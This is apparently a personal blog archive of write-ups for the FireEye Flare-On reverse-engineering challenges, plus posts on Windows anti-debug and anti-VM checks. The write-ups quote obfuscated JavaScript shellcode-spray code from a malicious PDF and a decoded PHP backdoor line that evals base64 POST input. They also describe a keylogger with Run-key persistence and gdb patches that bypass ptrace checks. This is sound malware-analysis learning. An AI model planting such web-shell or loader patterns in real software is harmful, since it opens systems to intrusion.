Friday, January 23, 2015

Anti debug mechanisms - Windows

Been busy with some stuff so haven't got time to blog much at all. Anyway I was playing the Flare challenge and the last one was challenge 7 which was a 32 bit Windows PE file. I haven't yet managed to complete it due to some silly detail that I've overlooked :(. All the same though - there were a few really nice Antidebug and AntiVM mechanisms that I learnt about and thought of sharing. If I wait for the challenge to get over - I might end up never writing it :).

IsDebuggerPresent: This is one of the oldest tricks to detect a debugger. Usually the malware will call this function and check its return value. If its 1 it means it's being debugged.

PEB IsDebuggedBit: The PEB is a block that contains a lot of information about the currently executing process. One of the first fields in this structure is the IsDebugged bit. If the application is running inside a debugger, the value of this bit is 1.

SIDT: The IDT is a data structure that has the addresses of numerous functions that are called when specific interrupts occur on a machine. SIDT stores the addresses of the current Interrupt Descriptor Table (IDT) into a register. On a normal machine, the address of the IDT is lower than 0xd0xxxxxx. If the address is greater than that, the malware is running inside a VM.

VMXh:  There is a privileged instruction called IN. Meaning... it will run only in kernel mode - a normal user can't write an assembly program and call it. When in eax,dx executes, it fills up ebx...and if it has 'VMXh'... it's running inside VMWare. So malware will do this check as well to detect if its running inside a VM.

OutputDebugString: This API will try and print a string. That's it. But it'll be successful only if the program is being debugged. You'll see the string that was printed in the Log window of the debugger. Malware will probably check if the function succeeded and make a decision accordingly.

CC bit checking: The single byte CC stands for a software breakpoint. The moment you set a breakpoint, while debugging a program, the byte on which you set your program is set to CC. Malware might search an entire range of addresses for the presence of any 'CC' byte and exit if it finds one. Meaning... if there is a CC byte - there is also a debugger. There's no reason for one to be there if it runs normally.

NTGlobalFlags: If a program runs inside a debugger the offset 68 of the PEB (NtGlobalFlags) is set to the value 70. This value is set based on the values of some heap manipulation flags. Malware will check for this value and accordingly make a decision.

Apart from these 6 checks, the Fireye challenge also used the LocalTime64 API to check if the time was between 5 and 6pm on a Friday and would go down the wrong path if it wasn't.

Your filename on disk needed to be backdoge.exe. You needed to be connected to the Internet so you could get a couple of IP addresses ( and which was also used. Lastly it also retrieved a specific string 'jackRAT' from a Twitter post and used that as well.

Basically, each of these checks caused the code to XOR with a different string. If you went down the wrong path, it'd still XOR, but with the wrong string and your end result - which is supposed to be another PE file would be incorrect.

So that's where I'm stuck :( - I think I have all the checks down - but I'm missing some fine detail .. somewhere and getting an invalid file. Oh well, maybe someday - I think I will look at one of the online solutions now. I've spent a lot of time on this without much success.

Here are some references though which I found very useful:

I hope you learnt a few things. None of this is really new..honestly... but hey, it's just a place where I keep writing my thoughts out as I learn things.

Sunday, December 21, 2014

FireEye - FlareOn Challenge 6 Argument 2

So if you read my previous'd know I was stuck on Argument 2 last time. I finally managed to crack it with a little help. The answer had been staring at me all the time and somehow I'd overcomplicated things. Oh well. I learnt a lot.

So..the last time in the previous post, I was stuck at the function 401164. I went through it multiple times, sat and marked blocks out in IDA, used Hexrays on it to get C code (I don't do this until it's an absolute last resort) but all I could see was loads of operations on a big chunk of encrypted text.

Yeah. So I found this chunk of text at 729900..and this is exactly what it looked like.


The function iterated for the length of this string and performed some operation on it ... using a byte array at 4F4000. But I couldn't understand what it was doing....with all that math. Specially because the very next function, was just an exit function.

Now I'd marked it as an exit function a long time back...and forgotten about it...and not analyzed its code carefully at all. After all, it's exit() ffs... what's there to look into? I was wrong :(

I pinged a person on reddit for a pointer. He/she said I was close...and should think about encoding and the = sign. Sure, I think. Base64. Obviously. But why is that relevant here? Yeah the encrypted text had an = at the end...but so what? It's too big for an Email address. So what's the damn point of decoding it? That's what I'd thought...a long time back.

Anyway I copied the text and threw it into an online Base64 decoder...

and my eyes popped out when I saw what I did.

Look at the screenshot...the right pane..towards the bottom. You'll see some ASCII text called /bin/sh. It's trying to call a shell.... it's shell code. And I'd been staring at it for at least 2-3 days. #-o. Serves me right for assuming things. Sigh.

Anyway, if there's shell code, that means the program is going to jump to it at some point. And I all that's left is that exit() call at 44bb2b. When the hell is it jumping? And where's that code?

So I then decide to separately throw the shellcode into a disassembler and analyze it. Since it didn't have the ELF header and I was in no mood to recreate one (if I could :D) I threw the code into an awesome online disassembler at

...and the code there looked very very familiar. I'd seen it somewhere. Where? Then it hit was IN the exit function.

The exit function had code that compared something with '1b' at the offset cfc4... and exit if it didn't match. And what was it comparing it with? The 2nd argument. And if you didn't enter that correctly..which I wasn''d fail.

So at this was just about reversing the algorithm inside. Here I have a confession to make. While searching for hints and verifying the 1st argument, I'd accidentally seen part of the 2nd argument on one of the solutions, so I knew it started with lin. That sucked. But anyway... just to verify I entered 'l' passed the jump. So the I just needed to solve that entire algorithm...which was just different basic math at every step. Rotate right an left, xor, add, and sub..with binary and hex. I started doing it manually...but was just horribly bored as the pace was very slow guessing it.

So I decided I'd write code for it and solve it. It's basically mind numbing work predicting character by character...and the algorithm is different each time. An utter waste of time really... and this made no sense to me from FireEye's perspective. Oh well I guess that's how real malware is :shrug

Here's the code I wrote - it's just a very quickly written piece of code. Not great at all. But it works:

I wrote code till the "@" character...and then just guessed the rest. Here too...out of sheer tedium...I guessed 1 character...manually added it to my flag..and then proceeded to solve the algorithm again for the same character. And wondered wtf was wrong now...and why gdb kept throwing me out.

Only googling the exact answer showed me the error of my ways :|. Obviously, that's not how it works in real life...but really I was done...and there was nothing left to solve in the challenge, so I think it was ok.

The final flag was:-

Oh you bet. This was a painful painful challenge. What an utter load of junk there was inside. 7 or 8 functions out of some 2700+ that were useful. Sheesh :)

p.s..The bad thing was that someone had written the flag of challenge 7 underneath challenge 6... :( but luckily I have already forgotten it :D. I won't solve challenge 7 for a few days till I am sure I don't remember anything.

Friday, December 19, 2014

Fireeye - FlareOn Challenge 6 Argument 1

Challenge 6 was a 64 bit statically linked ELF binary. Now I haven't yet finished solving it (hey it's hard ;)) but have got through half of it. I needed a tiny hint though this time to set me on the right track. Anyway though...its complex enough that I can write about Part 1. Later maybe I'll add Part 2 once I solve it someday. If not and I look at spoilers, I'll try and blog about the learnings :). Ok lets start.

Once I ran file and identified it was statically linked, I sighed inwardly. That's coz static binaries have the Linux libraries that they are linked to as part of the binary. This ensures that these binaries will run on any system - unlike when there is dynamic linking in place, and dependency on specific libraries. From a reverse engineering standpoint this is bad, because the disassembly in IDA is cluttered with library code and its super hard to identify what code is user written.

Ran the file in a VM. Always make sure you run the file in a VM. All it did was come back with "no". That's it. So the next thing is to find out where the "no" was referenced. So after a bit of stepping in and stepping out, the call at 45dea0 looked suspicious - it pointed to another function at 45dce0. This eventually makes a call to sub_452079. A quick tip incase you start to debug 452079 but forget where it was called from is to either:

-- Hit ESC to go back and Ctrl+Enter to come forward again
-- Or right click on sub_452079 in the IDA View and click List cross references to

Anyway, on first sight 452079 looks like a gold mine with a ton of juicy strings. Every single one of them is utter garbage. So I just kept scrolling in IDA till I saw the last (or so I thought) strings go by. And set a breakpoint after that. Sometimes it'd not hit my breakpoint because it's position was wrong. But slowly, after a few attempts, I managed to find out where the "No" was getting called from - 4535bb. And then the very next call at 4535c5 was causing the program to exit.

So one thing was then clear, I had to skip that jump for sure, so I used a little bit of gdbinit magic :) for now to patch the program in memory and see where it leads me. The .gdbinit file is something that gdb runs commands from before starting to run the program.

br *0x4535b4
set $ps=$ps&0x4

This basically breaks execution at 4535b4 and unsets the zero flag so execution can jump over the exit code, and then continues execution.

Well, that worked for a while but then I crashed after some time with a very fishy looking "Program has a segfault" error. Digging further revealed that all this was happening at 41F21C. So usually when something like that happens, the code that is making that happen is usually in the call just above that. So.. digging into the call at 41F211..revealed that there was a line at 474319 which made a syscall and had an argument of 0x65 [syscall(0x65)]. This means that there is some kind of system call being made...and it's very interesting many times ;). But we need to find out what 0x65 stands for. So let's search for a syscall table online. We find a nice one at:

What's 65? semop. Eh? Linux IPC? Wtf. What does that even mean? Ah its Hex. And the table is decimal :). 65 in hex is 101 in decimal and ptrace. Ah that makes sense. ptrace() is a call on Linux that detects if code is running inside a debugger, like us. gdb remember? So we need to run outside gdb. But then how do we find out what's going on? We can't. So we do some more gdbinit magic. Heh.

br *0x41f21c
set $ps=$ps|0x40

Okay, that sets the zero flag, because this time ..that's what we want and jump to 41F232...not to the silly SEGV message.

Great...then we continue debugging...and the program just hangs. Like just hangs. Nothing I do makes a difference. In the past, when I've debugged and a program has hung, it's been because it's potentially waiting for some network connection and listening. Checking with netstat and lsof revealed nothing this time, so the next logical candidate was a long long sleep() call.

So .. hitting a Ctrl+C inside gdb gave me the address of where the "hanging" was happening.

Breakpoint 2, 0x000000000041f21c in ?? ()
Program received signal SIGINT, Interrupt.
0x0000000000473d50 in ?? ()

Hmm... 473d50. What's there? Ha. Another syscall...this time its 0x23.  Or 35 in decimal. Lets go back to our syscall table again. Ah there we go. nanosleep(). Man page - "nanosleep() suspends the execution of the calling thread until either at least the time specified in *req has elapsed"

ok..that's the first argument to nanosleep() then which is some huge number. Now where is the first argument stored. It's called from 473C67...and the arguments are stored in the lines just above that. That's rdi and rsi then. That's how things happen in Linux...the arguments are stored in registers and not explicitly pushed on to the stack like in Windows. So... if we can edit rdi to a smaller value than what's currently there....which is

(gdb) x/d $rdi
0x7fffffffd530:    3597

...that's 3597 seconds. 1 hour. I'm not sure we want to wait for an hour before resuming debugging. So I did some more gdbinit magic and edited rdi at runtime to 0x10.

br *0x473c67
set $rdi=0x10

... which should have caused sleeping for 10 seconds. But it didn't and almost returned instantly. :D. Not sure why. Didn't dig too deep though as my purpose was to get past the sleep() call.

The code went on ..after this. But if you're still following along I'd advise you to straight away put a breakpoint on 44bb2b :D. Coz all the code .. well most of it :) after the nanosleep() and before 44bb2b is utter utter junk and you'll just waste hours stepping in and out.

There is a call here to 44b942. Scroll down here as well...until you see the last 2 calls inside this function. A little debugging reveals that the call at 44bb2b is an exit call and the program just exits here. Which usually, usually means that the call before that has some juicy stuff. This is the call at 401164. But while this function looks different and interesting....its very unclear where the flag is hidden here. Coz all that happens inside here is a lot of integer operations and some fancy math :(.

Now at this point I got stuck and decided to ask for help on reddit. 2 people who had already solved it very kindly poked me in the right direction ..while talking about arguments. Ah... the program has arguments? How many? What? Time for strace. Thanks guys :)

strace ./C6 1234 abcd ... shows me that SEGFAULT message. Means its 2 arguments. Nice. I'm still unclear though, about how to identify via static many arguments a program takes.

Anyway... so then logically, what are those arguments? So running the function with no arguments...if you remember gave us "No"...but running it with 2 arguments gives us "bad". Trying to figure out where bad came from in the first place was another big pain.

Eventually though as it turns out...bad is called from 2 places 43710a and 4371DE. The first one checks if the 1st argument has 10 digits

cmp rax, 0xa

and if that's goes on to 437120 ...else it goes to "bad". The second "bad" message is at 4371DE.... and the comparison is at 4734b4. Now this was the first place I found that IDA was wrong. :-o. This caused more chaos. Eventually with gdb's help I found out that the comparison was happening at 4734b4.

.text:00000000004734AE mov     eax, [rdi-0Ah]
.text:00000000004734B1 mov     ecx, [rsi-0Ah]
.text:00000000004734B4 cmp     eax, ecx

Now one of these (I forget which) contains a string "bngcg`debd" and the other...I have to enter the right input so it computes to this string. A little bit of playing around with 10 digit numbers and I found the right number. (I think I got lucky here directly with numbers, I could have easily tried strings and struggled a while longer :D)

The first argument is 4815162342.

I haven't figured out what the 2nd argument is...and want to slog at this a while more before reading the many great solutions to this that are already online. But...this was complex enough for me to put it out :)

Hopefully I'll have part 2 soon. Until then ...adios :)

Sunday, December 7, 2014

OllyDbg - Running DLLs

So this isn't something new really. There's plenty of articles that talk about running DLLs. You usually either write a small EXE that uses LoadLibrary to load the DLL or use rundll32.exe with the arguments set to calling DllMain(). That'll work.

But that'll work only if all the functions are eventually called. I mean... if a DLL has 4 functions A, B, C and D. And the program flow is something like:


a() {


... it'll work and you'll end up being able to reverse the entire DLL.

But if you have a 5th function e() that isn't directly called... and is called only on some specific case... you won't directly ever end up there.

A quick tip on how to analyze this in Olly is to identify the function() to reverse using IDA or any other disassembler and go to that address. Now right click on that address and click "Set new origin here". This will allow you to run that function :)

Of course...this will work out of the box only if the function takes no arguments at all. If it does you will have to set up the registers EAX, EBX, ECX and anything else...with the correct arguments. This you can finding out where it was called from... or by studying how the arguments are processed inside the function by running it and seeing why it crashes.

For example: A function may need 2 arguments and takes these from EBX and ECX. So you might fill in EBX="A" and ECX="d" and try and run the function. But you might find out later that there was code which was dividing EBX and ECX... (EBX/ECX). This means that they both had to be numbers... integers maybe. So you fill up EBX=4 and ECX=2 and see what happens. It might crash again but for some different reason...and you then go back .. and so on :)

Nothing new but a quick little thing that I learnt last week or so...while working on that Fireeye challenge.

Sunday, November 30, 2014

Fireeye - Flare-on Challenge 5

This one was a DLL. Ooh another nice one. Most of my previous reversing success has either been PE or ELF so it's really cool to do all these cool challenges and improve.

Now a DLL is something that has a ton of functions that an EXE calls. You can't directly run a need to make an EXE import it and then debug the EXE. At least that's how I've done it in the past :).

So I tried doing this with Olly 1.10 which comes with LoadDLL.exe. That failed and Olly got stuck. So I abandoned that idea and decided to use regsvr32 and rundll32 instead. What eventually worked was rundll32. So you load Olly rundll32.exe and set Olly's arguments to the DLL (5get_it.dll, Dllmain).

Also ensure that you're using Olly 2.01 and have set it to break each time a new DLL is loaded. I had a small blog post on this here.

So eventually...I broke in at DllMain...and with the help of IDA and some F8 in Olly it was clear that svchost.dll in the system32 directory was being overwritten. A registry key was also created in HKLM\....\Run... to ensure the DLL was run each time the machine rebooted. That much was relatively easy.

Now after all this...the code seemed to jump into one of the largest functions (at 10009EB0) I have ever seen. It seemed like a massive massive switch/case loop. Here's a pic..that shows how big it truly was:

There was an API called GetAsyncKeyState...that was called and then it went into the switch-case structure. Here's a screenshot showing the code inside a couple of these functions. Take a guess what it is?

See the 'v' and 'w' in the screenshot? That's basically what's pushed to the function at 10001000 which then appends the character 'v or 'w to the svchost.log file in System32. Each little function does similar things....just for a different character each time. In other words...this is a keylogger :)

Now I've been duped many times in the past following code down dead ends so I decided to write a little IDA script renaming all functions of this I could ignore all of them and understand the rest of the program.

That code is here:-

That made my life much easier...coz most of the code got renamed and there was very little left to look at :). The bad part was... none of the other code seemed to have anything relevant to the flag at all. :(

Okay lets run it in Olly...maybe something will turn up. Nope. It just remains in an endless loop...and logs keystrokes to svchost.log.. every single character. Now what?

Okay... lets now start opening up each of those functions...nothing super interesting until we come to 'm' and toggle the ZeroFlag....there's something different there. It makes a call to 10001240... something that none of the other letters do. Running this function causes a small message box with some ASCII ART (FLARE) to pop up.

Well awesome. That's progress. But now what? The box doesn't have the flag in it, does it? But since the box pops must mean something. What? Okay.. so when does the box pop up? When I hit 'm' and the variable at 100194fc is not <=0 . Hmm.

I know how to hit 'm'... but how do force 100194fc = 1 ... or ..not <=0.. so the correct branch is taken? Right? If I can answer that...I have the flag. So we want to now search for references to 100194fc. Lets search in the IDB. Click Search - Sequence of Bytes and enter fc 94 01 10 (little endian). The only reference that's useful is an instruction...

.text:10009BF7 keylog_charbychar_10009B60 mov     dword_100194FC, 1

This means...that somewhere...some single is setting 100194FC to 1. This is inside the function starting at 10009B60. What letter does that map to? maps to "o"... so stepping back...if we enter "o" it will set 100194fc to 1 ..and then if we press 'm' the ASCII art will pop up. Nice :).

So in other words we have to go the values of every variable..see where it gets set to 1 and find out the next letter.

The mov instruction content to search for is given below. Byte in square brackets changes for each letter.
c7 05 [fc] 94 01 10 01 00 00 00

For "o" we need to find where 100194ec is set to 1. That is inside "c". So the last 3 letters are "com". We're very close :)

Keep going this way... and eventually you end up with the flag that is:


Fireeye - Flare-On Challenge 4

This one was a malicious PDF. Ooh nice. I'd never done one of those before and get to learn something new now. So for starters I read a great paper by Didier Stevens to understand how to go about analyzing PDFs.

As it turns out, objects can be hidden (I knew this) inside PDFs. This includes Javascript and shellcode (knew this too). What I didn't know though is how to go about extracting these malicious objects. So after following the PDF paper, I learnt how to use the tools pdfid and pdfparser. Both these are available here.

Anyway I started off looking for strings inside the PDF using a simple Hex Editor. Nothing interesting found. Run pdfid to get some information about the file...and whether there were any malicious objects inside it.

python C:\Users\arvind\Desktop\Fireeye_Flareon\C4\APT9001.pdf

Object 6 in the output appeared to have some malicious content hidden inside it. So obviously, the next logical step is to extract these malicious objects.

python --object 6 --filter --raw C:\Users\arvind\Desktop\Fireeye_Flareon\C4\APT9001.pdf

This resulted in a large amount of heavily obfuscated JS being revealed. Here is a sample - notice the large variable names - this is just classic "Security by obscurity" an attempt to throw the reverser off.

var HdPN = "";
    var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
    var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7
    var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";

    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u379
    ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
    OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
    fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;


The first thing I did was do a lot of "Find-Replace" on all these variables and make them human readable. After a little bit of manual was clear that there was this large "unescape" blob..right at the top which was doing something.

I added a few document.write() and alert() calls to print out the variable values. This was a disaster and obviously the flag isn't a JS variable value. Its UNICODE for sure...because of the %u at the start. But then it maps to Hangul characters :). Googling the name of the PDF document revealed that this was some advanced APT malware I was upset that I'd now have to learn Hangul to crack this. Nothing wrong of course with that...but not er..what I wanted to spend my time learning right now :)

This turned out to be a dead end though. I mean...okay its Hangul but what now? :(. So I went back to basics...and started looking for other tools in that space. There was a new tool called peeppdf that I tried to install...but after 2 hours of fighting trying to get libemu and pylibemu installed...I gave up out of sheer boredum now and started looking at the JS again.

If it isn't Hangul or some wacky Unicode...its meaning is something else. What? So I RTFM more and find an awesome link that explains more:'s shellcode :). That's why it did NOT render in ASCII when I was trying to print it out. Ok now...I followed the instructions on that link, used that cool little script, edited it a bit to remove the "Help" code as it did not compile...and then converted the Shellcode to C...and then compiled the C code to an Exe file using wine and mingw -

Nice. Now I have shell code that I need to debug as usual. Load in IDA. Get entry point. Set BP in Olly on entry point. OllyDbg time :). All the useful code eventually runs from 402000.

A little F8 and you can see all those instructions magically appear. Hangul indeed. Bah :). Set a breakpoint on 4023C1. You can see the Email address in EAX :).

This EMail address is then XORed repeatedly with the word BEEF and the result is displayed in a Message Box. So really...if we'd just known that at the start and brute force XOR'd with all 4 character strings .. we'd have saved ourselves a ton of trouble :)

The Email address is:

Fireeye - Flare-On Challenge 3

Number 3 was another EXE file. Apart from CFF Explorer, I also load these EXEs into PEid, RDG Packer detector and Protection ID... just to get a feel of how hard it's going to be. These tools are great...but again they only compare against a signature database... so they will miss stuff too. Anyway this time...nothing was detected, all clear.

You can reverse stuff IDA or you can run it in a debugger like OllyDbg. I always prefer running things... its much quicker. And then use IDA side by side to understand the flow of I can set breakpoints in the right places. Always make sure though...that you run all this stuff inside a virtual machine :D and turn outbound connections off unless you're absolutely sure of what you're doing.

So anyway I loaded this up in OllyDbg and ran it...and it crashed with an error message. Time to Step In (F7). The function exits inside 401000. Something inside this.

401000 copies a lot of code into memory. Nothing looks like ASCII. The start address (18FD47) of this "encrypted" block is then called. This means that an entire function was moved at run-time into memory and then called. Code between 18FD57 and 18FD61 XORs memory with hex 66 (f) and obtains an ASCII string in memory "and so it begins".

So already this points to...the flag eventually being in memory. The start of another encrypted block is at 18FD78. The word "nopasaurus" is compared for some reason :) and some more math results in "get ready to get no'ped..."

Slowly going through all code gives the 3rd flag ... in one of the registers (EAX I think).

The Email address is:

Trying to run further causes a crash at 18FF47. That's why you have to Step into and not F9 :).

It's easier to just find out where the crash happened and set a break point just before that... but I just did this slowly to show how to debug things manually.

Fireeye - Flare-On Challenge 2

The start for Challenge 2 was delayed by a few minutes due to me not reading instructions properly. The password for all the Zip files was "malware" but I didn't see this ... and wasted some time trying to crack the passwords #-o. Then I saw that all the challenges were Zip files and password it made no sense that I had to crack all of them. Some RTFM ... and I felt very stupid. Oh well :)

Unzipping reveals that there is a HTML file and an images directory. Loading up the file in a browser does nothing...and it looks very very similar to the Flare home page. Ditto for the image. It looks very similar to what's on the website. But obviously..that's not the case..rt?

The next logical step would be to take MD5 hashes of the HTML file and the PNG file. Then download the ones from the website and hash those as well. If they're the same..the hashes will match. But sometimes...a Hex editor like HXD on Ubuntu or CFF Explorer's inbuilt Hex Editor will do as well :) if you're lucky. This is one of those times.

Scrolling through the HTML source of the page...horizontally and vertically ;)... reveals a PHP directive which effectively includes a file..the image file..flare-on.png. Why?

Well...the include directive in PHP effectively means that the code inside the file is going to run directly..before any following code is run. So if I say...

include a.png

and a.png has some PHP inside... and I have PHP installed correctly the browser might (I am not sure here) detect the PHP inside... and run it.

So I opened the image file inside a Hex editor and extracted all the Obfuscated PHP and pasted it to a text file. Copied all of that into a PHP file.

$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r",
 "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5
", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");

$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 4
3, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28
, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91
, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63,
 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88,
77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37,
91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70
, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49,
 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63
, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11,
 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75,
77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 3
7, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);

for($i=0;$i    $do_me=$do_me.$terms[$order[$i]];


Added a few print statements into it... and printed it's content to the screen. This was the result.





ASCII Decoding $___ gives --> eval(bAsE6d_DeCoDe($__)). So we Base64 decode $__ and get:


So we have to now decode $_ .. sigh...this is what we now get.

'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72    \\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"]))

     eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44    \\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"]) );

That's just a funny mix of hex and decimal ASCII representation. If it'd been any bigger than this I'd have thought of writing a script -  but since it wasn't under 3 lines... the manual lookup method would be quicker for sure.

This is what I eventually get - a11DOTthatDOTjava5crapATflareDASHonDOTcom

and replacing DOT, AT and DASH we get the 2nd Email address.

Fireeye - Flare-On Challenge 1

I've been playing the Flare On challenge recently and got through a few levels. Its good fun and I learnt a few things. I'll write a few short blog posts on the concepts/tools/solutions of each of these challenges as and when I solve them. Here's number 1.

Number 1 is an EXE file. The first thing I always do for any Windows files is open it up in CFF Explorer. The metadata of the file talks about something called Wextract. Wextract is the name of the program in Windows that creates self extracting compressed files. So maybe... its a Zip file...or some other compressed file?

Renamed the file to C1.rar (since I had Winrar on the system) and tried to extract the file. That worked and I get a new EXE file. Throw the new file into CFF Explorer.. its a .NET executable.

The moment I see .NET .. I'm happy... because all .NET binaries can be decompiled and the actual source code retrieved. There are many such decompilers around.. I usually use DotNetPeek or IlSpy - both should be fine for such challenges. Decompiling everything shows that all of the code is in a file called Form1.cs.

On launching the binary and clicking the button shown... the picture changes and some encrypted text is shown on screen. That means that there is some code on the "Click" event that is doing something. Looking at the code shows that this is indeed the case.

There is a decode function that is triggered when a button is clicked. This basically pulls some string from the "Resources" of the program and runs the algorithm on that string. The result of that "decoding" is the junk that you see on screen.

Now .. there's nothing else in the code. At this point you know what the code is doing. So where's the flag? Well...think. You found code which encrypts A and gives you B. Neither A or B are useful. But we need some plain text EMail address... that is the final flag. This means that..we need to look for other encrypted strings to run this algorithm on.

Searching more using CFF Explorer reveals a resource called dat_secret.encode. Use the inbuilt hex editor in CFF Explorer to identify the hex bytes that are to be decoded. This is the input that needs to be passed to the decoding function.

So I pull the code from Form1.cs out and load it into an online decompiler at I'm not too good at all at .NET so it takes me a while to compile the code :)..but eventually I manage to decode the string. I print out str1, str2, str3 and str4 to see what goes into each of those variables...using the Console.write method.

The Email address is:

Wednesday, November 19, 2014

Deeper dive - Malware analysis :)

I've not been blogging for a while..sadly, but I've been learning quite a few things over the last few months and in general continue to keep getting better slowly at reversing and malware analysis - something I always enjoy doing :)

So now, I've decided that now that I know much more about reversing things - than I did a few years ago, I'm going to get deeper into malware analysis and debug all the different types of malware that are found over a period of time and learn ways of anlayzing all of them.

So I  made a list of topics that I'd like to learn over the next few months. I'm familiar with quite a few of them - but not all of them. It probably isn't comprehensive nor do I claim it is - but it's a nice starting point for me. Also, as I learn new things - small or big - I am going to be posting all of that regularly.

So, here's my list :) - do suggest other stuff that you feel could potentially be important and is different from the rest.
  • Disk monitoring
  • Network monitoring
  • Docx
  • VBA
  • Powershell
  • AutoIT
  • PDF
  • DLL
  • JS
  • PHP
  • ELF
  • Flash
  • Packed executables
  • Routers
  • POS
  • Memory analysis (Volatility)
  • Credit card extractors
  • ATM
  • Virtual Machine detection
  • Bootkits
  • Exploit Kits
  • Steganography
  • Learn to write better signatures (Clamav, Yara, Snort, Suricata)

Monday, March 31, 2014

What is piracy?

So recently, I wanted an ISO for Windows 2000 during a pentest and was finding it hard to get. Obviously, the quickest way is to download it from some torrent somewhere and be done with it.

That though, if you know me, is a bit easier said than done :). I started wondering about .. whether that would count as piracy or not. In the end, someone at work happened to have an ISO and I was spared all that pain. But, I did keep thinking about it..and still today's world... with the number of things that are interconnected... is it even possible to avoid using pirated all?

Here are my thoughts on piracy.

-- If it's freely available, and the author has clearly said so, I'm fine using it, irrespective of where I download it from.

